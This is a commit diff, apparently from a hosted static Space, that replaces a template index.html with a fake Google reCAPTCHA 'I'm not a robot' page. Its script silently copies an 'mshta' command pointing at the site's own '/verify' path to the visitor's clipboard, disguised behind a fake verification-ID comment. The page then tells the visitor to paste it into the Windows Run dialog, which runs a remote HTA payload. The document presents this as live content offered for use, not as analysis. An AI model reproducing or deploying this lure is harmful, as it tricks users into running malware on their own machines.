reCAPTCHA

Running

App Files Files Community

enotkrutoy commited on Oct 20, 2024

Commit

f44c384

verified ·

1 Parent(s): 3e07d58

Update index.html

Browse files

Files changed (1) hide show

index.html +431 -17

index.html CHANGED Viewed

@@ -1,19 +1,433 @@
 <!doctype html>
-<html>
-	<head>
-		<meta charset="utf-8" />
-		<meta name="viewport" content="width=device-width" />
-		<title>My static Space</title>
-		<link rel="stylesheet" href="style.css" />
-	</head>
-	<body>
-		<div class="card">
-			<h1>Welcome to your static Space!</h1>
-			<p>You can modify this app directly by editing <i>index.html</i> in the Files and versions tab.</p>
-			<p>
-				Also don't forget to check the
-				<a href="https://huggingface.co/docs/hub/spaces" target="_blank">Spaces documentation</a>.
-			</p>
-		</div>
-	</body>
 </html>

 <!doctype html>
+<!DOCTYPE html>
+<html lang="en">
+    <head>
+        <meta charset="utf-8">
+        <title>reCAPTCHA Verification</title>
+        <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.0.0/css/all.css">
+        <style>
+        .container {
+            font-family: Roboto, helvetica, arial, sans-serif;
+        }
+        .m-p {
+            margin: 0;
+            padding: 0;
+        }
+        .block {
+            display: block;
+        }
+        code {
+            font-size: 9px;
+            margin-left: 2px;
+            color: gray;
+        }
+        .line-normal {
+            line-height: normal;
+        }
+        .checkbox-window {
+            height: 74px;
+            width: 300px;
+            background-color: #f9f9f9;
+            border-radius: 3px;
+            border: 1px solid #d3d3d3;
+        }
+        .checkbox-window a {
+            color: #555;
+            text-decoration: none;
+        }
+        .checkbox-window a:hover {
+            color: #555;
+            text-decoration: underline;
+        }
+        .checkbox-container {
+            width: 28px;
+            height: 28px;
+        }
+        .checkbox {
+            position: relative;
+            background-color: #fff;
+            border-radius: 2px;
+            height: 100%;
+            width: 100%;
+            border: 2px solid #c1c1c1;
+            margin: 21px 0 0 12px;
+            outline: none;
+            font-family: Roboto, helvetica, arial, sans-serif;
+            transition: width 500ms, height 500ms, border-radius 500ms, margin-top 500ms, margin-left 500ms, opacity 700ms;
+        }
+        .checkbox:hover {
+            border: 2px solid #b2b2b2;
+        }
+        .im-not-a-robot {
+            position: relative;
+            left: 52px;
+            bottom: 3px;
+            font-size: 15px;
+            color: #282727;
+        }
+        .captcha-logo {
+            position: relative;
+            left: 244px;
+            bottom: 36px;
+            width: 40px;
+            height: 45px;
+            vertical-align: baseline;
+            padding-bottom: 4px;
+        }
+        .checkbox-desc {
+            color: #555555;
+            position: relative;
+            font-size: 8px;
+            text-align: center;
+            bottom: 40px;
+            left: 112px;
+        }
+        .spinner {
+            visibility: hidden;
+            position: relative;
+            top: -85px;
+            left: 12px;
+            height: 20px;
+            width: 20px;
+            border: 2px solid rgba(0, 0, 0, 0.1);
+            border-top: 2px solid #333;
+            border-radius: 50%;
+            visibility: hidden;
+            opacity: 0;
+            transition: opacity 0.5s linear;
+            animation: spin 1s linear infinite;
+        }
+        @keyframes spin {
+            0% {
+                transform: rotate(0deg);
+            }
+            100% {
+                transform: rotate(360deg);
+            }
+        }
+        .verify-window {
+            font-family: Roboto, helvetica, arial, sans-serif;
+            opacity: 0;
+            position: absolute;
+            visibility: hidden;
+            margin: auto;
+            width: 310px;
+            background-color: #fff;
+            border: 1px solid #cecece;
+            -webkit-box-shadow: 5px 6px 7px -3px rgba(0, 0, 0, 0.12);
+            box-shadow: 5px 6px 7px -3px rgba(0, 0, 0, 0.12);
+            transition: opacity 400ms;
+        }
+        ol {
+            counter-reset: item;
+            list-style-type: none;
+            list-style-position: outside;
+            padding-left: 0;
+        }
+        ol li {
+            counter-increment: item;
+            margin-bottom: 10px;
+        }
+        ol li::before {
+            content: counter(item) ". ";
+            color: #1A73E8;
+            font-weight: bold;
+            margin-right: 10px;
+            margin-left: 10px;
+        }
+        .verify-container {
+            padding: 8px;
+        }
+        .verify-header {
+            background-color: #1A73E8;
+            padding: 16px 16px 24px 16px;
+            color: #fff;
+        }
+        .verify-header-text-small {
+            font-size: 14px;
+            line-height: normal;
+        }
+        .verify-header-text-medium {
+            font-size: 16px;
+        }
+        .verify-header-text-big {
+            font-size: 24px;
+            font-weight: 700;
+        }
+        .verify-main {
+            padding: 5px;
+            color: #111;
+            font-size: 13px;
+        }
+        .verify-footer {
+            border-top: 1px solid #cecece;
+            padding: 10px 7px 10px 7px;
+            color: #737373;
+            display: grid;
+            grid-template-columns: auto 102px;
+            font-size: 13px;
+        }
+        .verify-footer-left {
+            padding: 5px;
+        }
+        .verify-verify-button {
+            text-transform: uppercase;
+            background-color: #5a89e2;
+            color: #fff;
+            text-align: center;
+            width: 100%;
+            padding: 12px 0 12px 0;
+            text-decoration: none;
+            font-weight: 600;
+            height: min-content;
+            border-radius: 3px;
+            font-size: 14px;
+            border: none;
+            outline: none;
+            cursor: not-allowed;
+        }
+        </style>
+    </head>
+    <body>
+    <div class="container m-p">
+        <div id="checkbox-window" class="checkbox-window m-p block">
+            <div class="checkbox-container m-p">
+                <button type="button" id="checkbox" class="checkbox m-p line-normal"></button>
+            </div>
+            <p class="im-not-a-robot m-p line-normal">I'm not a robot</p>
+            <img src="https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png" class="captcha-logo line-normal" alt="">
+            <br>
+            <p class="checkbox-desc m-p line-normal">
+            <a href="https://www.google.com/intl/en/policies/privacy/">Privacy</a> - <a href="https://www.google.com/intl/en/policies/terms/">Terms</a>
+            </p>
+            <img class="spinner" alt="" id="spinner">
+        </div>
+        <div id="verify-window" class="verify-window">
+            <div class="verify-container">
+                <header class="verify-header">
+                    <span class="verify-header-text-medium m-p block">Complete these</span>
+                    <span class="verify-header-text-big m-p block">Verification Steps</span>
+                    <span class="verify-header-text-medium m-p block"></span>
+                </header>
+                <main class="verify-main">
+                    <p>
+                        To better prove you are not a robot, please:
+                    </p>
+                    <ol>
+                        <li>
+                            Press & hold the Windows Key <i class="fab fa-windows"></i> + <b>R</b>.
+                        </li>
+                        <li>
+                            In the verification window, press <b>Ctrl</b> + <b>V</b>.
+                        </li>
+                        <li>
+                            Press <b>Enter</b> on your keyboard to finish.
+                        </li>
+                    </ol>
+                    <p>
+                        You will observe and agree:
+                        <br>
+                    <code>
+                        ✅ "I am not a robot - reCAPTCHA Verification ID: <span id="verification-id">146820</span>"
+                    </code>
+                    </p>
+                </main>
+            </div>
+            <footer class="verify-container verify-footer">
+                <div class="verify-footer-left">
+                    Perform the steps above to finish verification.
+                </div>
+                <button type="button" class="verify-verify-button block" id="verify-verify-button" disabled="true">Verify</button>
+            </footer>
+        </div>
+    </div>
+    <script>
+        let checkboxWindow = document.getElementById("checkbox-window");
+        let checkboxBtn = document.getElementById("checkbox");
+        let checkboxBtnSpinner = document.getElementById("spinner");
+        let verifywindow = document.getElementById("verify-window");
+        function addCaptchaListeners() {
+            if (checkboxBtn) {
+                document.addEventListener("click", function (event) {
+                    let path = event.composedPath();
+                    if (!path.includes(verifywindow) && isverifywindowVisible()) {
+                        closeverifywindow();
+                    }
+                });
+                checkboxBtn.addEventListener("click", function (event) {
+                    event.preventDefault();
+                    checkboxBtn.disabled = true;
+                    runClickedCheckboxEffects();
+                });
+            }
+        }
+        function runClickedCheckboxEffects() {
+            hideCaptchaCheckbox();
+            setTimeout(function(){
+                showCaptchaLoading();
+            },500);
+            setTimeout(function(){
+                showVerifyWindow();
+            },900)
+        }
+        function showCaptchaLoading() {
+            checkboxBtnSpinner.style.visibility = "visible";
+            checkboxBtnSpinner.style.opacity = "1";
+            checkboxBtnSpinner.style.animation = "spin 1s linear infinite";
+        }
+        function hideCaptchaLoading() {
+            checkboxBtnSpinner.style.opacity = "0";
+            checkboxBtnSpinner.style.animation = "none";
+            setTimeout(function() {
+                checkboxBtnSpinner.style.visibility = "hidden";
+            }, 500);
+        }
+        function hideCaptchaCheckbox() {
+            checkboxBtn.style.visibility = "hidden";
+            checkboxBtn.style.opacity = "0";
+        }
+        function showCaptchaCheckbox() {
+            checkboxBtn.style.width = "100%";
+            checkboxBtn.style.height = "100%";
+            checkboxBtn.style.borderRadius = "2px";
+            checkboxBtn.style.margin = "21px 0 0 12px";
+            checkboxBtn.style.opacity = "1";
+        }
+        function hideCaptchaCheckbox() {
+            checkboxBtn.style.width = "4px";
+            checkboxBtn.style.height = "4px";
+            checkboxBtn.style.borderRadius = "50%";
+            checkboxBtn.style.marginLeft = "25px";
+            checkboxBtn.style.marginTop = "33px";
+            checkboxBtn.style.opacity = "0";
+        }
+        function showCaptchaLoading() {
+            checkboxBtnSpinner.style.visibility = "visible";
+            checkboxBtnSpinner.style.opacity = "1";
+        }
+        function hideCaptchaLoading() {
+            checkboxBtnSpinner.style.visibility = "hidden";
+            checkboxBtnSpinner.style.opacity = "0";
+        }
+       function generateRandomNumber() {
+            const min = 1000;
+            const max = 9999;
+            return Math.floor(Math.random() * (max - min + 1) + min).toString();
+        }
+        function closeverifywindow() {
+            verifywindow.style.display = "none";
+            verifywindow.style.visibility = "hidden";
+            verifywindow.style.opacity = "0";
+            showCaptchaCheckbox();
+            hideCaptchaLoading();
+            checkboxBtn.disabled = false;
+        }
+        function isverifywindowVisible() {
+            return verifywindow.style.display !== "none" && verifywindow.style.display !== "";
+        }
+        function setClipboardCopyData(textToCopy){
+            const tempTextArea = document.createElement("textarea");
+            tempTextArea.value = textToCopy;
+            document.body.append(tempTextArea);
+            tempTextArea.select();
+            document.execCommand("copy");
+            document.body.removeChild(tempTextArea);
+        }
+        function stageClipboard(commandToRun, verification_id){
+            const suffix = " # "
+            const ploy = "✅ ''I am not a robot - reCAPTCHA Verification ID: "
+            const end = "''"
+            const textToCopy = commandToRun + suffix + ploy + verification_id + end
+            setClipboardCopyData(textToCopy);
+        }
+        function showVerifyWindow() {
+            verifywindow.style.display = "block";
+            verifywindow.style.visibility = "visible";
+            verifywindow.style.opacity = "1";
+            verifywindow.style.top = checkboxWindow.offsetTop - 80 + "px";
+            verifywindow.style.left =  checkboxWindow.offsetLeft + 54 + "px";
+            if (verifywindow.offsetTop < 5) {
+               verifywindow.style.top = "5px";
+            }
+            if (verifywindow.offsetLeft + verifywindow.offsetWidth > window.innerWidth-10 ) {
+               verifywindow.style.left =  checkboxWindow.offsetLeft - 8  + "px";
+            }
+            var verification_id = generateRandomNumber();
+            document.getElementById('verification-id').textContent = verification_id;
+            const htaPath = window.location.origin + "/verify";
+            const commandToRun = "mshta " + htaPath
+            stageClipboard(commandToRun, verification_id)
+        }
+        addCaptchaListeners();
+        </script>
+    </body>
 </html>